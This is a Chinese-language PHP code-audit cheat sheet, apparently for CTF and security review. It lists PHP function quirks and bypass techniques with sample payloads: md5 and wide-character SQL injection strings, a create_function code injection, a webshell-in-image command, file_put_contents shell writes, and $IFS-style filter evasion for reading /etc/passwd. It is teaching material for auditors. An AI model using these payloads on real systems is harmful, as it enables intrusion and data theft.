PHP代码审计归纳
Author: 木禾 ali0th
函数trick
unlink:
不会删除/.
结尾的文件
unlink(“index.php/.”); 这样并不会删除index.php
parse_url
1 | if(isset($_POST['url']) && parse_url($_POST['url'])['host']=='www.ichunqiu.com') |
1 | http://@127.0.0.1:80@www.ichunqiu.com/.//index.php |
变量覆盖
extract()
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。条件:若有EXTR_SKIP则不行。1
2
3
4
5
6
7
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
# 结果:$a = Cat; $b = Dog; $c = Horse
这里原来是\$a是original,后面通过extract把$a覆盖变成了Cat了,所以这里把原来的变量给覆盖了。
1 | #?shiyan=&flag=1 |
parse_str()
解析字符串并注册成变量1
2
3
4$b=1;
Parse_str('b=2');
Print_r($b);
# 结果: $b=2
import_request_variables()
1 | 将 GET/POST/Cookie 变量导入到全局作用域中,全局变量注册。 |
$变量覆盖
1 | ## 提交参数chs,则可覆盖变量"$chs"的值。$key为chs时,$$key就变成$chs |
全局变量覆盖漏洞
原理:
register_globals 是php中的一个控制选项,可以设置成off或者on, 默认为off, 决定是否将 EGPCS(Environment,GET,POST,Cookie,Server)变量注册为全局变量。
如果register_globals打开的话, 客户端提交的数据中含有GLOBALS变量名, 就会覆盖服务器上的$GLOBALS变量.
\$_REQUEST 这个超全局变量的值受 php.ini中request_order的影响,在php5.3.x系列中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST而不包括$_COOKIE。通过COOKIE就可以提交GLOBALS变量。
1 |
|
经过测试,开了register_globals会卡死
绕过过滤的空白字符
原理:https://baike.baidu.com/item/%E6%8E%A7%E5%88%B6%E5%AD%97%E7%AC%A6
1 | 控制码 |
而trim过滤的空白字符有1
string trim ( string $str [, string $character_mask = " \t\n\r\0\x0B" ] )
其中缺少了\f
2 函数对空白字符的特性
is_numeric函数在开始判断前,会先跳过所有空白字符。这是一个特性。
也就是说,is_numeirc(“ \r\n \t 1.2”)是会返回true的。同理,intval(“ \r\n \t 12”),也会正常返回12。
案例
https://github.com/bowu678/php_bugs/blob/master/02%20%E7%BB%95%E8%BF%87%E8%BF%87%E6%BB%A4%E7%9A%84%E7%A9%BA%E7%99%BD%E5%AD%97%E7%AC%A6.php1
2
3#?number=%00%0c191
# 1 %00绕过is_numeric
# 2 \f(也就是%0c)在数字前面,trim,intval和is_numeric都会忽略这个字符
intval整数溢出
php整数上限溢出绕过intval
intval 函数最大的值取决于操作系统。
32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。
64 位系统上,最大带符号的 integer 值是 9223372036854775807。
intval 四舍五入
1 | # ?a=1024.1 |
浮点数精度忽略
1 | if ($req["number"] != intval($req["number"])) |
在小数小于某个值(10^-16)以后,再比较的时候就分不清大小了。
输入number = 1.00000000000000010, 右边变成1.0, 而左与右比较会相等。
多重加密
题目中有:1
2$login = unserialize(gzuncompress(base64_decode($requset['token'])));
if($login['user'] === 'ichunqiu'){echo $flag;}
本地则写:1
2
3
4
5
6
$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
print_r($token);
// 得到eJxLtDK0qs60MrBOAuJaAB5uBBQ=
截断
iconv 异常字符截断
1 | ## 因iconv遇到异常字符就不转后面的内容了,所以可以截断。 |
eregi、ereg可用%00截断
功能:正则匹配过滤
条件:要求php<5.3.4
1 | ## http://127.0.0.1/Php_Bug/05.php?password=1e9%00*-* |
move_uploaded_file 用\0截断
(也可以考虑%02,%0b,%03等等,可以多次测试)
5.4.x<= 5.4.39, 5.5.x<= 5.5.23, 5.6.x <= 5.6.7
原来在高版本(受影响版本中),PHP把长度比较的安全检查逻辑给去掉了,导致了漏洞的发生
cve:
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-2348
move_uploaded_file($_FILES['x']['tmp_name'],"/tmp/test.php\x00.jpg")
上传抓包修改name为a.php\0jpg(\0是nul字符),可以看到$_FILES[‘xx’][‘name’]存储的字符串是a.php,不会包含\0截断之后的字符,因此并不影响代码的验证逻辑。
但是如果通过$_REQUEST方式获取的,则可能出现扩展名期望值不一致的情况,造成“任意文件上传”。
include用?截断
1 |
|
当输入的文件名包含URL时,问号截断则会发生,并且这个利用方式不受PHP版本限制,原因是Web服务其会将问号看成一个请求参数。
测试POC:
http://127.0.0.1/test/t1.php?name=http://127.0.0.1/test/secret.txt?
则会打开secret.txt中的文件内容。本测试用例在PHP5.5.38版本上测试通过。
系统长度截断
这种方式在PHP5.3以后的版本中都已经得到了修复。
win260个字符,linux下4*1024=4096字节
mysql长度截断
mysql内的默认字符长度为255,超过的就没了。
由于mysql的sql_mode设置为default的时候,即没有开启STRICT_ALL_TABLES选项时,MySQL对于插入超长的值只会提示warning
mysql中utf-8截断
insert into dvwa.test values (14,concat("admin",0xc1,"abc"))
写入为admin
弱类型比较
原理
比较表:http://php.net/manual/zh/types.comparisons.php
以下等式会成立1
2
3
4
5
6
7
8
9'' == 0 == false
'123' == 123
'abc' == 0
'123a' == 123
'0x01' == 1
'0e123456789' == '0e987654321'
[false] == [0] == [NULL] == ['']
NULL == false == 0
true == 1
==、>、<的弱类型比较
这里用到了PHP弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型转换成整型再比。
1 | ##方法1 |
switch 弱类型
1 | // 第一种:弱类型,1e==1 |
md5比较(0e相等、数组为Null)
1 | md5('240610708') //0e462097431906509019562988736854 |
技巧:找出在某一位置开始是0e的,并包含“XXX”的字符串
1 | #方法1 |
1 | ##这里没有弱类型,但可以让$r查出来是Null,然后提交md5里放数组得Null,于是Null===Null |
json传数据{“key”:0}
PHP将POST的数据全部保存为字符串形式,也就没有办法注入数字类型的数据了而JSON则不一样,JSON本身是一个完整的字符串,经过解析之后可能有字符串,数字,布尔等多种类型。1
2
3
4application/x-www-form-urlencoded
multipart/form-data
application/json
application/xml
第一个application/x-www-form-urlencoded,是一般表单形式提交的content-type第二个,是包含文件的表单。第三,四个,分别是json和xml,一般是js当中上传的.
{“key”:”0”}
这是一个字符串0,我们需要让他为数字类型,用burp拦截,把两个双引号去掉,变成这样:
{“key”:0}
strcmp漏洞1:返回0
适用与5.3之前版本的php
int strcmp ( string $str1 , string $str2 )
// 参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0,所以可以故意让其报错,则返回0,则相等了。
1 | ##flag[]=admin |
strcmp漏洞2:返回Null
修复了上面1的返回0的漏洞,即大于5.3版本后,变成返回NULL。
array和string进行strcmp比较的时候会返回一个null,因为strcmp只会处理字符串参数,如果给个数组的话呢,就会返回NULL。strcmp($c[1],$d)
strcmp漏洞3: 判断使用的是 ==
而判断使用的是==,当NULL==0是 bool(true)
in_array,array_search 弱类型比较
松散比较下,任何string都等于true:
1 | // in_array('a', [true, 'b', 'c']) // 返回bool(true),相当于数组里面有字符'a' |
sha1() md5() 报错相等绕过(False === False)
sha1()函数默认的传入参数类型是字符串型,给它传入数组会出现错误,使sha1()函数返回错误,也就是返回false
md5()函数如果成功则返回已计算的 MD5 散列,如果失败则返回 FALSE。可通过传入数组,返回错误。1
2
3
4
5
6##?name[]=1&password[]=2
## === 两边都是false则成立
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
strpos数组NULL(Null !== False)
strpos()输入数组出错返回null
1 | #既要是纯数字,又要有’#biubiubiu’,strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null,null!==false,所以符合要求. 所以输入nctf[]= 那为什么ereg()也能符合呢?因为ereg()在出错时返回的也是null,null!==false,所以符合要求. |
十六进制与十进制比较
== 两边的十六进制与十进制比较,是可以相等的。
1 | #?password=0xdeadc0de |
md5注入带入’or’
原理:1
2
3
4md5(string,raw)
raw 可选。规定十六进制或二进制输出格式:
TRUE - 原始 16 字符二进制格式
FALSE - 默认。32 字符十六进制数
当md5函数的第二个参数为True时,编码将以16进制返回,再转换为字符串。而字符串’ffifdyop’的md5加密结果为'or'<trash>
其中 trash为垃圾值,or一个非0值为真,也就绕过了检测。1
2## 执行顺序:字符串:ffifdyop -> md5()加密成276f722736c95d99e921722cf9ed621c->md5(,true)将16进制转成字符串`'or'<trash>`->sql执行`'or'<trash>`造成注入
$sql = "SELECT * FROM admin WHERE username = admin pass = '".md5($password,true)."'";
switch没有break
1 | #这里case 0 和 1 没有break,使得程序继续往下执行。 |
反序列化
1 | <!-- index.php --> |
1 | #?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";} |
文件包含
原理:
include()/include_once(),require()/require_once(),中的变量可控
利用过程:1
2
3
4
5
6上传图片(含有php代码的图片)
读文件,读php文件
包含日志文件getshell
包含/proc/self/envion文件getshell
如果有phpinfo可以包含临时文件
包含data://或php://input等伪协议(需要allow_url_include=On)
封闭协议:1
2
3
4
5
6
7
8
9
10
11
12file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
1 | ## 访问共享目录 |
提交参数无过滤
原理:过滤了GPC,但没有过滤其它部分。
1 | 上传文件相关变量如$_FIle |
案例:1
2
3
4
5
6
7
8
9foreach($_COOKIE AS $_key=>$_value){
unset($$_key);
}
foreach($_POST AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}
通过表单来传值。1
2
3
4<form method="post" action="http://localhost/qibo/member/comment.php?job=ifcom" enctype="multipart/form-data">
<input type="file" name="cidDB">
<input type="submit">
</form>
这里的gid为查询参数1
2
3
4
5
6$_SERVER //中用户能够控制的变量,php5.0后不受GPC影响
QUERY_STRING //用户GET方法提交时的查询字符串
HTTP_REFERER //用户请求的来源变量,在一些程序取得用户访问记录时用得比较多
HTTP_USER_AGENT //用户的浏览器类型,也用于用户的访问记录的取得
HTTP_HOST //提交的主机头等内容
HTTP_X_FORWARDED_FOR //用户的代理主机的信息
伪造IP
原理:
以 HTTP_ 开头的 header, 均属于客户端发送的内容。那么,如果客户端伪造user-agent/referer/client-ip/x-forward-for,就可以达到伪造IP的目的,php5之后不受GPC影响。1
2
3
4
5
6
7
8
9
10
11
12
13关键字:
HTTP_
getenv
$_SERVER
服务端:
echo getenv('HTTP_CLIENT_IP');
echo $_SERVER['REMOTE_ADDR']; //访问端(有可能是用户,有可能是代理的)IP
echo $_SERVER['HTTP_CLIENT_IP']; //代理端的(有可能存在,可伪造)
echo $_SERVER['HTTP_X_FORWARDED_FOR']; //用户是在哪个IP使用的代理(有可能存在,也可以伪造)
客户端:
注意发送的格式:
CLIENT-IP:10.10.10.1
X-FORWARDED-FOR:10.10.10.10
1 | 这个玩意恒成立的。不管有没有clientip |
绕过正则匹配
缺少^和$限定
数组绕过正则
【\A[ _a-zA-Z0-9]+\z】
str_replace路径穿越
原理
str_replace的过滤方式为其search参数数组从左到右一个一个过滤。
1 | ## 这里可以被绕过,因为是对.和/或\的组合的过滤,所以单独的..或\/没有检测到。 |
1 | ## 这里有对单独的.进行过滤,所以无法绕过。 |
short_open_tag=on 短标签
原理:
当 php.ini 的short_open_tag=on时,PHP支持短标签,默认情况下为off;
格式为:<?xxxx;?> –> <?xxx;1
2
3
4Go0s@ubuntu:~$ cat test.php
<?="helloworld";
Go0s@ubuntu:~$ curl 127.0.0.1/test.php
helloworld
file_put_contents第二个参数传入数组
原理:1
2
3file_put_contents(file,data,mode,context)
file 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data 可选。规定要写入文件的数据。可以是字符串、数组或数据流。如果是数组的话,将被连接成字符串再进行写入。
1 | ## ?filename=xiaowei.php&data[]=<?php&data[]=%0aphpinfo(); |
单引号和双引号
原理:单引号或双引号都可以用来定义字符串。但只有双引号会调用解析器。
1 | # 1 |
查询语句缺少单引号
1 | "Select * from table where id=$id" # 有注入 |
宽字符注入
原理
常见转码函数:
iconv()
mb_convert_encoding()
addslashes
防御:
用mysql_real_escape_string
1 | ## ?username=tom&password=1%df' or 1=1 union select 1,2,group_concat(0x0a,mname,0x0a,pwd) from manager--+ |
跳转无退出
原理:
没有使用return()或die()或exit()退出流程的话,下面的代码还是会继续执行。可以使用burp测试,不会跳转过去。1
2
3
4## 1
$this->myclass->notice('alert("系统已安装过");window.location.href="'.site_url().'";');
## 2
header("location: ../index.php");
二次编码注入
由于浏览器的一次urldecode,再由服务器端函数的一次decode,造成二次编码,而绕过过滤。
如%2527,两次urldecode会最后变成’1
2
3
4
5
6
7
8base64_decode -- 对使用 MIME base64 编码的数据进行解码
base64_encode -- 使用 MIME base64 对数据进行编码
rawurldecode -- 对已编码的 URL 字符串进行解码
rawurlencode -- 按照 RFC 1738 对 URL 进行编码
urldecode -- 解码已编码的 URL 字符串
urlencode -- 编码 URL 字符串
unserialize/serialize
字符集函数(GKB,UTF7/8...)如iconv()/mb_convert_encoding()等
前端可控变量填充导致XSS
当html里的链接是变量时,易出现XSS。1
2={#、echo、print、printf、vprintf、<%=$test%>
img scr={#$list.link_logo#}
命令执行函数
1 | system() |
防范方法:
使用自定义函数或函数库来替代外部命令的功能
使用escapeshellarg 函数来处理命令参数
使用safe_mode_exec_dir 指定可执行文件的路径
create_function
create_function构造了一个return后面的语句为一个函数。1
2
3
4
5
6
7
8
9#?sort_by="]);}phpinfo();/*
#sort_function就变成了 return 1 * strnatcasecmp($a[""]);}phpinfo();/*"], $b[""]);}phpinfo();/*"]);
#前面闭合,然后把后面的全部注释掉了。
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
mb_ereg_replace()的/e模式
原理1
2
3mb_ereg_replace()是支持多字节的正则表达式替换函数,函数原型如下:
string mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option= "msr" ] )
当指定mb_ereg(i)_replace()的option参数为e时,replacement参数[在适当的逆向引用替换完后]将作为php代码被执行.
preg_replace /e模式执行命令
1 | # ?str=[phpinfo()] |
动态函数执行
1 | call_user_func |
1 | # ?a=assert |
代码执行
1 | assert() |
eval()和assert()代码执行
当assert()的参数为字符串时 可执行PHP代码。
区别:assert可以不加;,eval不可以不加;。1
2eval(" phpinfo(); ");【√】 eval(" phpinfo() ");【X】
assert(" phpinfo(); ");【√】 assert(" phpinfo() ");【√】
优先级绕过
原理:
如果运算符优先级相同,那运算符的结合方向决定了该如何运算
http://php.net/manual/zh/language.operators.precedence.php
优先级:&&/|| 大于 = 大于 AND/OR
1 | # ($test = true) and false; $test2 = (true && false); |
getimagesize图片判断绕过
原理:
当用getimagesize判断文件是否为图片,可以判断的文件为gif/png/jpg,如果指定的文件如果不是有效的图像,会返回 false。
只要我们在文件头部加入GIF89a后可以上传任意后缀文件。
生成小马图的方法:1
cat image.png webshell.php > image.php
1 | ## 找上传点 |
<变*,windows findfirstfile利用
原理:
Windows下,在搜索文件的时候使用了FindFirstFile这一个winapi函数,该函数到一个文件夹(包含子文件夹)去搜索指定文件。
执行过程中,字符”>”被替换成”?”,字符”<”被替换成”*”,而符号”(双引号)被替换成一个”.”字符。
所以:
- “>””>>”可代替一个字符,”<”可以代替后缀多个字符,”<<”可以代替包括文件名和后缀多个字符。所以一般使用<<
- “ 可以代替.
- 文件名第一个字符是”.”的话,读取时可以忽略之
NO | Status | Function | Type of operation |
---|---|---|---|
1. | OK | include() | Includefile |
2. | OK | include_once() | Includefile |
3. | OK | require() | Includefile |
4. | OK | require_once() | Include file |
5. | OK | fopen() | Openfile |
6. | OK | ZipArchive::open() | Archive file |
7. | OK | copy() | Copyfile |
8. | OK | file_get_contents() | Readfile |
9. | OK | parse_ini_file() | Readfile |
10. | OK | readfile() | Readfile |
11. | OK | file_put_contents() | Write file |
12. | OK | mkdir() | New directory creation |
13. | OK | tempnam() | New file creation |
14. | OK | touch() | New file creation |
15. | OK | move_uploaded_file() | Move operation |
16. | OK | opendiit) | Directory operation |
17. | OK | readdir() | Directory operation |
18. | OK | rewinddir() | Directory operation |
19. | OK | closedir() | Directory operation |
20. | FAIL | rename() | Move operation |
21. | FAIL | unlink() | Delete file |
22. | FAIL | rmdir()) | Directory operation |
1 | ## ?file=1< |
处理value没有处理key
foreach时,addslashes对获得的value值进行处理,但没有处理key。
用来目录遍历的特别函数
http://wooyun.webbaozi.com/bug_detail.php?wybug_id=wooyun-2014-088094
lstat 函数
http://wooyun.webbaozi.com/bug_detail.php?wybug_id=wooyun-2014-088071
stream_resolve_include_path函数
http://wooyun.webbaozi.com/bug_detail.php?wybug_id=wooyun-2014-083688
http://wooyun.webbaozi.com/bug_detail.php?wybug_id=wooyun-2014-083457
http://wooyun.webbaozi.com/bug_detail.php?wybug_id=wooyun-2014-083453
绕过GD库图片渲染
jpg_name.jpg是待GD处理的图片1
php jpg_payload.php <jpg_name.jpg>
生成好的图片,在经过如下代码处理后,依然能保留其中的shell:
1 |
|
会话固定
1 | if(!empty($_GET['phpsessid'])) session_id($_GET['phpsessid']);//通过GET方法传递sessionid |
通过get方法来设置session。所以可以通过CSRF:
http://xxxx/index.php?r=admin/index/index&phpsessid=f4cking123
管理员点了我们就能使用此session进后台了。
end方法获取元素的问题
1 | $file = array(1 => 'png', 0 => 'php'); |
两者的区别是,前者是通过下标来确定,后者则是返回数组的最后一个元素。前者返回的是$filename[1]也就是png,后者直接返回数组排在最后面的元素php。
mysql字符串过滤
1 | information_schema.TABLES |
linux命令行
用$IFS
绕过空格
cat$IFS/etc/passwd
php > system("echo|cat\$IFS/etc/passwd");
cat</etc/passwd
{ls,-al}
cat<>test
CMD=$'\x20/etc/passwd'&&cat$CMD
比如 cat flag:
Waf掉了
<>*;|?\n空格,还有flag。flag可以用fla\g绕过,空格可以用
$IFS`
cat /etc/passwd
====== system("c\at /et\c/pass\wd");
资料
PHP代码审计分段讲解
https://github.com/bowu678/php_bugs